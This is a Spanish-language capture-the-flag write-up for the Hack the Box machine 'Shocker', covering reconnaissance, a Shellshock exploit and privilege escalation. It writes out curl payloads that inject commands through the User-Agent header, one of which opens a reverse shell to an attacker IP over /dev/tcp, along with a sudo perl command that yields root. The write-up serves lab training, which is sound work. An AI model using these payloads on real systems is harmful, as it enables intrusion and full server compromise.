Shocker Writeup

FácilLinux
Las flags que resuelven este reto se encuentran protegidas. Comparte el artículo en redes sociales para desbloquearlas.
$User Flag
977cd941...
#Root Flag
5edc4d64...

En este writeup vamos a ver cómo resolver la máquina Shocker de la plataforma de Hack the Box.

Conexión

Conectar nuestra máquina de ataque a la VPN:

$ openvpn gorkamu-htb-vip.ovpn

Capturar User Flag

Si ponemos la IP en el navegador web veremos la siguiente página:

dont bug me
dont bug me

Ver el código fuente tampoco nos da mucha más información:

source code
source code

Así que vamos a pasarle un nmap a ver que hay abierto:

$ sudo nmap -sC -sV -n 10.10.10.56

Nos devuelve la siguiente información:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-04 12:21 CET Nmap scan report for 10.10.10.56 Host is up (0.048s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.61 seconds

Vemos que tiene el puerto 80 abierto servido por un Apache 2.4.18 y también el puerto 2222 con un OpenSSH

Si lanzamos el script ssh-auth-methods de nmap veremos que dos formas tiene configurado para loguearse:

$ nmap -p 2222 --script ssh-auth-methods --script-args="ssh.user=anonymous" 10.10.10.56 Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-04 12:24 CET Nmap scan report for 10.10.10.56 Host is up (0.051s latency). PORT STATE SERVICE 2222/tcp open EtherNetIP-1 | ssh-auth-methods: | Supported authentication methods: | publickey |_ password Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds

Vamos a lanzar dirbuster para rastrear directorios y ficheros sh del sitio:

dirbuster
dirbuster

Encontramos que existe un fichero en la ruta http://10.10.10.56/cgi-bin/user.sh

Si hacemos una búsqueda en google “cve cgi-bin sh” encontraremos un repositorio de github en el que explica cómo explotar la vulnerabilidad Shellshock.

https://github.com/opsxcq/exploit-CVE-2014-6271

Para testear si el objetivo es vulnerable a ShellShock lanzamos la siguiente petición CURL

$ curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://10.10.10.56/cgi-bin/user.sh

Con este comando obtenemos el fichero /etc/passwd por lo ahora hay que tratar de conseguir una shell reversa.

En una terminal nueva abrimos netcat:

$ nc -nlvp 4444

En otra terminal lanzamos la siguiente petición CURL:

$ curl -A "() { :; }; /bin/bash -i > /dev/tcp/10.10.14.7/4444 0<&1 2>&1" http://10.10.10.56/cgi-bin/user.sh

Con esto acabamos de conseguir la conexión inversa y como podemos comprobar estamos dentro del servidor

netcat
netcat

Si hacemos un sudo -l veremos que tiene acceso como root sin password al binario de perl.

sudo
sudo

Esto quiere decir que podemos usar esto para escalar privilegios.

Si ejecutamos la siguiente línea conseguiremos acceso root:

shelly@Shocker:/usr/lib/cgi-bin$ sudo /usr/bin/perl -e 'exec "/bin/bash";' sudo /usr/bin/perl -e 'exec "/bin/bash";' whoami root pwd /usr/lib/cgi-bin id uid=0(root) gid=0(root) groups=0(root)

Tan solo nos tenemos que dirigir a /home/shelly para obtener el fichero user.txt y así la User Flag

Capturar Root Flag

Nos dirigimos a /root y ahí estará el fichero root.txt con la ROOT Flag

También te puede interesar

Solidstate Writeup

Solidstate Writeup

Spectra Writeup

Spectra Writeup

Sunday Writeup

Sunday Writeup